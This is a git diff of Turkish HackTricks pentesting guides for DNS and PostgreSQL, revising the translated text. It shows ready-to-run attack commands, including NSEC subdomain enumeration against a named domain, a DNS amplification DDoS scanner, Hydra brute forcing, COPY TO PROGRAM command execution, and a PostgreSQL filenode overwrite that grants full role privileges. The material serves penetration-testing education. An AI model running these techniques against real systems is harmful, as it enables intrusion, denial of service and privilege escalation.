imzaları kullanır. - -DNSSec, DNS güvenliğini artırmak için önemli bir adımdır. Ancak, DNSSec'in tam olarak etkili olabilmesi için tüm DNS sunucularının DNSSec'i desteklemesi gerekmektedir. Aksi takdirde, saldırganlar hala DNSSec'i desteklemeyen sunucuları hedef alabilir ve saldırılarını gerçekleştirebilir. +DNS üzerindeki güvenlik açıklarını gidermek için tasarlanmış bir dizi uzantıdır. Bu uzantılar, DNS trafiğini şifrelemek ve bütünlüğünü doğrulamak için kullanılır. ```bash #Query paypal subdomains to ns3.isc-sns.info nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info ``` ### IPv6 -IPv6 alt alan adlarının IPv6 adreslerini toplamak için "AAAA" isteklerini kullanarak brute force yapın. +Alt alan adlarının IPv6 adreslerini toplamak için "AAAA" isteklerini kullanarak brute force yapın. ```bash dnsdict6 -s -t ``` -# IPv6 Adresleri Kullanarak Ters DNS Bruteforce Yöntemi +### IPv6 Adreslerini Kullanarak Ters DNS Bruteforce -IPv6 adreslerini kullanarak ters DNS bruteforce yöntemi, hedef sistemdeki IPv6 adreslerine karşılık gelen DNS kayıtlarını keşfetmek için kullanılır. Bu yöntem, hedef sistemdeki ağ servislerini ve altyapıyı analiz etmek için kullanışlıdır. - -## Adım 1: IPv6 Adres Aralığını Belirleme - -İlk adım olarak, hedef sistemdeki IPv6 adres aralığını belirlememiz gerekmektedir. Bu aralığı belirlemek için çeşitli yöntemler kullanabiliriz, örneğin hedef sistemdeki ağ yapılandırma dosyalarını veya ağ tarayıcılarını kullanabiliriz. - -## Adım 2: Ters DNS Sorgularını Yapma - -Belirlediğimiz IPv6 adres aralığı üzerinde ters DNS sorguları yaparak, hedef sistemdeki DNS kayıtlarını keşfedebiliriz. Bu sorguları yapmak için çeşitli araçlar kullanabiliriz, örneğin `nslookup` veya `dig` gibi. - -```markdown -Örnek Kullanım: - -``` -nslookup -type=PTR 2001:0db8:85a3:0000:0000:8a2e:0370:7334 -``` - -``` - -## Adım 3: Sonuçları Analiz Etme - -Yaptığımız ters DNS sorgularının sonuçlarını analiz ederek, hedef sistemdeki DNS kayıtlarını elde edebiliriz. Bu kayıtlar, hedef sistemdeki ağ servislerini ve altyapıyı daha iyi anlamamıza yardımcı olacaktır. - -Ters DNS bruteforce yöntemi, hedef sistemdeki IPv6 adreslerine karşılık gelen DNS kayıtlarını keşfetmek için etkili bir yöntemdir. Bu yöntem, ağ servislerini ve altyapıyı analiz etmek için kullanılan diğer tekniklerle birlikte kullanılabilir. +IPv6 adreslerini kullanarak ters DNS bruteforce işlemi yapabilirsiniz. ```bash dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net ``` -### DNS Rekürsif DDoS +### DNS Yineleme DDoS -Eğer **DNS rekürsif** etkinleştirilmişse, bir saldırgan UDP paketinde **kökeni sahteleyebilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan, daha büyük yanıtlara sahip oldukları için **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir.\ -Bir DNS'in **rekürsif** desteğini kontrol etmenin yolu, bir alan adını sorgulamak ve yanıtta **"ra"** (_rekürsif kullanılabilir_) bayrağının olup olmadığını **kontrol etmektir**: +Eğer **DNS yinelemesi etkinse**, bir saldırgan UDP paketinde **kökeni sahtekarlık yapabilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir çünkü genellikle daha büyük yanıtlar verirler.\ +Bir DNS'nin **yinelemeyi destekleyip desteklemediğini kontrol etmenin** yolu, bir alan adını sorgulamak ve yanıtta **"ra" bayrağının** (_yineleme mevcut_) olup olmadığını **kontrol etmektir**: ```bash dig google.com A @ ``` -**Mevcut Değil**: +**Mevcut değil**: ![](<../.gitbook/assets/image (275).png>) @@ -394,21 +173,21 @@ dig google.com A @ ![](<../.gitbook/assets/image (276).png>) -
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın. Bu araçlar ve özellikler, keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine kazma, kabukları patlatma ve eğlenme zamanı kazanıyorlar. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %} -### Mevcut olmayan bir hesaba e-posta gönderme +### Var olmayan hesaba e-posta gönderme -Hedef bir alan içinde geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen bir teslim edilememe bildirimi (NDN) incelenerek, değerli iç ağ ayrıntıları genellikle ifşa edilir. +Hedef alan etki alanında geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen teslim edilememe bildirimi (NDN) incelenerek, genellikle değerli iç ağ ayrıntıları ifşa edilir. Sağlanan teslim edilememe raporu şu bilgileri içerir: -- Oluşturan sunucu `server.example.com` olarak tanımlandı. -- `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir başarısızlık bildirimi döndürüldü. -- İç IP adresleri ve ana bilgisayar adları, orijinal ileti başlıklarında ifşa edildi. +* Oluşturan sunucu `server.example.com` olarak tanımlandı. +* `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir başarısızlık bildirimi geri döndürüldü. +* Orijinal ileti başlıklarında iç IP adresleri ve ana bilgisayar adları ifşa edildi. ```markdown The original message headers were modified for anonymity and now present randomized data: @@ -432,59 +211,7 @@ filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon, X-Envelope-From: sender@anotherdomain.org X-Apparent-Source-IP: 198.51.100.37 ``` -## Yapılandırma dosyaları - -Config files are files that contain settings and configurations for various applications and services. In the context of DNS pentesting, config files are important because they often contain sensitive information that can be exploited by attackers. - -Yapılandırma dosyaları, çeşitli uygulamalar ve hizmetler için ayarları ve yapılandırmaları içeren dosyalardır. DNS pentesting bağlamında, yapılandırma dosyaları önemlidir çünkü genellikle saldırganlar tarafından istismar edilebilecek hassas bilgiler içerir. - -### Common DNS Config Files - -### Yaygın DNS Yapılandırma Dosyaları - -Here are some common DNS config files that you may encounter during DNS pentesting: - -DNS pentesting sırasında karşılaşabileceğiniz bazı yaygın DNS yapılandırma dosyaları aşağıda listelenmiştir: - -- **named.conf**: This is the main configuration file for the BIND DNS server. It contains global options and settings for the server. - -- **named.conf**: Bu, BIND DNS sunucusu için ana yapılandırma dosyasıdır. Sunucu için genel seçenekler ve ayarları içerir. - -- **named.conf.local**: This file is used to define local zones and their configurations. It is included in the main named.conf file. - -- **named.conf.local**: Bu dosya, yerel bölgeleri ve yapılandırmalarını tanımlamak için kullanılır. Ana named.conf dosyasına dahil edilir. - -- **named.conf.options**: This file contains global options and settings for the BIND DNS server. It is also included in the main named.conf file. - -- **named.conf.options**: Bu dosya, BIND DNS sunucusu için genel seçenekleri ve ayarları içerir. Ayrıca ana named.conf dosyasına dahil edilir. - -- **resolv.conf**: This file is used by the DNS resolver library to configure DNS resolution on the system. It specifies the DNS servers to use and other resolver options. - -- **resolv.conf**: Bu dosya, DNS çözümleyici kitaplığının sistemde DNS çözümlemesini yapılandırmak için kullandığı dosyadır. Kullanılacak DNS sunucularını ve diğer çözümleyici seçeneklerini belirtir. - -### Finding Config Files - -### Yapılandırma Dosyalarını Bulma - -During DNS pentesting, it is important to identify the location of config files on the target system. Here are some techniques to find config files: - -DNS pentesting sırasında, hedef sistemdeki yapılandırma dosyalarının konumunu belirlemek önemlidir. İşte yapılandırma dosyalarını bulmak için bazı teknikler: - -- **Manual Search**: Manually search common locations for config files such as /etc/bind/ or /etc/named/. - -- **Elle Arama**: /etc/bind/ veya /etc/named/ gibi yaygın yapılandırma dosyalarının konumlarını el ile arayın. - -- **DNS Zone Transfers**: Perform DNS zone transfers to obtain the DNS server's configuration files. - -- **DNS Bölge Aktarımları**: DNS bölge aktarımları gerçekleştirerek DNS sunucusunun yapılandırma dosyalarını elde edin. - -- **Brute Forcing**: Use brute force techniques to guess the location and names of config files. - -- **Brute Force**: Yapılandırma dosyalarının konumunu ve adlarını tahmin etmek için brute force tekniklerini kullanın. - -Once you have identified the config files, you can analyze them for potential vulnerabilities and sensitive information that can be used for further exploitation. - -Yapılandırma dosyalarını belirledikten sonra, bunları potansiyel zafiyetler ve daha fazla istismar için kullanılabilecek hassas bilgiler açısından analiz edebilirsiniz. +## Yapılandırma Dosyaları ``` host.conf /etc/resolv.conf @@ -494,7 +221,7 @@ host.conf /etc/bind/named.conf.log /etc/bind/* ``` -Bind sunucusu yapılandırılırken tehlikeli ayarlar: +## Tehlikeli ayarlar bir Bind sunucusu yapılandırılırken: | **Seçenek** | **Açıklama** | | ----------------- | ------------------------------------------------------------------------------ | @@ -504,6 +231,7 @@ Bind sunucusu yapılandırılırken tehlikeli ayarlar: | `zone-statistics` | Bölgelerin istatistiksel verilerini toplar. | ## Referanslar + * [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) * Kitap: **Network Security Assessment 3. baskı** @@ -560,22 +288,22 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. +**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar. {% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.** +* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md index 5b0eae9ac..a51a984f1 100644 --- a/network-services-pentesting/pentesting-postgresql.md +++ b/network-services-pentesting/pentesting-postgresql.md @@ -1,6 +1,6 @@ # 5432,5433 - PostgreSQL Pentesting -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ @@ -14,24 +14,24 @@ Bugün Erişim Alın: HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. ## **Temel Bilgiler** -**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve kuruluşlar için çok yönlü bir seçim yapar. +**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar. **Varsayılan port:** 5432 ve bu port zaten kullanımda ise postgresql muhtemelen kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacaktır. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` -## Bağlanma ve Temel Sorgulama +## Bağlanma ve Temel Sıralama ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection @@ -72,10 +72,10 @@ SELECT * FROM pg_extension; \s ``` {% hint style="warning" %} -Eğer **`\list`** komutunu çalıştırırken bir **`rdsadmin`** adında bir veritabanı bulursanız, içinde bir **AWS postgresql veritabanı** olduğunu bilirsiniz. +Eğer **`\list`** komutunu çalıştırırken bir **`rdsadmin`** adında bir veritabanı bulursanız, içinde bulunduğunuzun bir **AWS postgresql veritabanı** olduğunu bilirsiniz. {% endhint %} -Daha fazla bilgi için **PostgreSQL veritabanını kötüye kullanma** hakkında kontrol edin: +Daha fazla bilgi için **nasıl kötüye kullanılacağına dair PostgreSQL veritabanı** kontrol edin: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) @@ -90,7 +90,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ### **Port tarama** -[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır ve hatanın açıklamasını içerir. Bu ayrıntıların örnekleri aşağıda listelenmiştir. +[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir hata açıklaması içeren `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır. Bu ayrıntıların örnekleri aşağıda listelenmiştir. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 @@ -101,7 +101,7 @@ connect_timeout=10'); ``` * Ana bilgisayar kapalı -`DETAY: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok. Ana bilgisayar "1.2.3.4" üzerinde mi çalışıyor ve 5678 numaralı bağlantıları kabul ediyor mu?` +`DETAY: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok. Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı bağlantıları kabul ediyor mu?` * Port kapalı ``` @@ -114,56 +114,42 @@ DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` ```markdown -### PostgreSQL +### PostgreSQL Pentesting -#### Enumerating PostgreSQL Users +#### PostgreSQL Enumeration -To list all users in a PostgreSQL database, you can query the `pg_user` table using the following SQL command: +PostgreSQL runs on port 5432 by default. You can use tools like Nmap to scan for open PostgreSQL ports. -```sql -SELECT * FROM pg_user; +```bash +nmap -p 5432 ``` -#### Enumerating Databases +#### PostgreSQL Brute Forcing -To list all databases in a PostgreSQL server, you can query the `pg_database` table using the following SQL command: +You can use tools like Metasploit or Hydra to perform brute force attacks against PostgreSQL. -```sql -SELECT datname FROM pg_database; +```bash +hydra -L users.txt -P passwords.txt postgres:// ``` -#### Enumerating Tables +#### PostgreSQL Exploitation -To list all tables in the current database, you can query the `pg_tables` view using the following SQL command: +You can exploit PostgreSQL using tools like Metasploit or by manually exploiting known vulnerabilities. -```sql -SELECT * FROM pg_tables; -``` +#### PostgreSQL Post-Exploitation -#### Extracting Data - -To extract data from a table, you can use a simple SELECT statement. For example, to extract all data from a table named `users`, you can use the following SQL command: - -```sql -SELECT * FROM users; -``` - -#### Running OS Commands - -In some cases, you may be able to run operating system commands using the `COPY` command in PostgreSQL. For example, to list files in a directory, you can use the following SQL command: - -```sql -COPY (SELECT * FROM users) TO PROGRAM 'ls /tmp'; -``` +After gaining access to a PostgreSQL database, you can perform various post-exploitation activities such as dumping data, creating new users, or executing commands on the underlying operating system. ``` ``` DETAIL: FATAL: password authentication failed for user "name" ``` -* Port açık veya filtrelenmişdir +* Port açık veya filtrelenmiş ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` +PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını almak mümkün değil. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Kullanıcı adlarını ve şifrelerini sistem tablolarından çıkarmak uygun değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü olumlu sonuçlar verebilir. + ## Yetkilerin Sıralanması ### Roller @@ -171,26 +157,26 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? | Rol Türleri | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir | -| rolinherit | Rol, üye olduğu rollerin ayrıcalıklarını otomatik olarak devralır | -| rolcreaterole | Rol daha fazla rol oluşturabilir | -| rolcreatedb | Rol veritabanları oluşturabilir | -| rolcanlogin | Rol oturum açabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir | -| rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. | -| rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. | -| rolpassword | Parola değil (`********` olarak her zaman okunur) | -| rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null | -| rolbypassrls | Rol her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. | -| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar | -| oid | Rolün kimliği | +| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır | +| rolcreaterole | Rol, daha fazla rol oluşturabilir | +| rolcreatedb | Rol, veritabanları oluşturabilir | +| rolcanlogin | Rol giriş yapabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir | +| rolreplication | Rol, bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantıları başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. | +| rolconnlimit | Giriş yapabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız demektir. | +| rolpassword | Şifre değil (her zaman `********` olarak okunur) | +| rolvaliduntil | Şifre sona erme zamanı (yalnızca şifre kimlik doğrulaması için kullanılır); süresizse null | +| rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. | +| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar | +| oid | Rol kimliği | #### İlginç Gruplar -* Eğer **`pg_execute_server_program`** üyesiyseniz **programları çalıştırabilirsiniz** -* Eğer **`pg_read_server_files`** üyesiyseniz **dosyaları okuyabilirsiniz** -* Eğer **`pg_write_server_files`** üyesiyseniz **dosyaları yazabilirsiniz** +* **`pg_execute_server_program`** üyesiyseniz **programları çalıştırabilirsiniz** +* **`pg_read_server_files`** üyesiyseniz **dosyaları okuyabilirsiniz** +* **`pg_write_server_files`** üyesiyseniz **dosyaları yazabilirsiniz** {% hint style="info" %} -Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **oturum açmasına izin verip vermediğinize** bağlıdır. +Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **giriş yapmasına izin verip vermediğinize** bağlıdır. {% endhint %} ```sql # Get users roles @@ -314,7 +300,9 @@ GRANT pg_read_server_files TO username; ``` ### Basit Dosya Yazma -Yalnızca **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri, dosya yazmak için kopyalamayı kullanabilir. +Sadece **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini dosya yazmak için kullanabilir. + +{% code overflow="wrap" %} ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` @@ -325,9 +313,15 @@ Unutmayın ki süper kullanıcı değilseniz ancak **`CREATEROLE`** izinlerine s ```sql GRANT pg_write_server_files TO username; ``` -### **Binary dosyaların yüklenmesi** +[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole) +{% endhint %} -Ancak, büyük binary dosyaları yüklemek için **başka teknikler bulunmaktadır:** +COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **tek satırlık bir komut göndermeniz gerekecektir**.\ +Bu tekniğin çok önemli bir kısıtlaması şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.** + +### **İkili dosyaların yüklenmesi** + +Ancak, **büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadır:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) @@ -335,36 +329,36 @@ Ancak, büyük binary dosyaları yüklemek için **başka teknikler bulunmaktad ## -**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **100.000 $'a kadar ödüller kazanmaya başlayın**! +**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) katılın ve **100.000 $'a kadar** ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} -### PostgreSQL tablo verilerinin yerel dosya yazımı aracılığıyla güncellenmesi +### PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi -PostgreSQL sunucu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). +PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). Gerekli adımlar: -1. PostgreSQL veri dizinini alın +1. PostgreSQL veri dizinini alın ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Not:** Mevcut veri dizini yolunu ayarlar aracılığıyla alamıyorsanız, `SELECT version()` sorgusu ile ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir. -2. Hedef tablo ile ilişkili dosya düğümüne göre göreceli bir yol alın +**Not:** Ayarlar aracılığıyla mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir. +2. Hedef tablo ile ilişkili dosya düğümüne göre göreceli bir yol alın ```sql SELECT pg_relation_filepath('{TABLE_NAME}') ``` -Bu sorgu `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DIRECTORY/base/3/1337`, yani `/var/lib/postgresql/13/main/base/3/1337` olacaktır. -3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indirin +Bu sorgu, `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DIRECTORY/base/3/1337`, yani `/var/lib/postgresql/13/main/base/3/1337` olacaktır. +3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indirin ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. Hedef tablo ile ilişkili veri türünü alın +4. Hedef tablo ile ilişkili veri türünü alın ```sql SELECT @@ -385,25 +379,25 @@ JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` -5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [dosya düğümünü düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın. +5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [dosya düğümünü düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` -![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) -6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükleyin ve diskteki orijinal dosyayı üzerine yazın +![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif) +6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükleyin ve diske orijinal dosyayı üzerine yazın ```sql SELECT 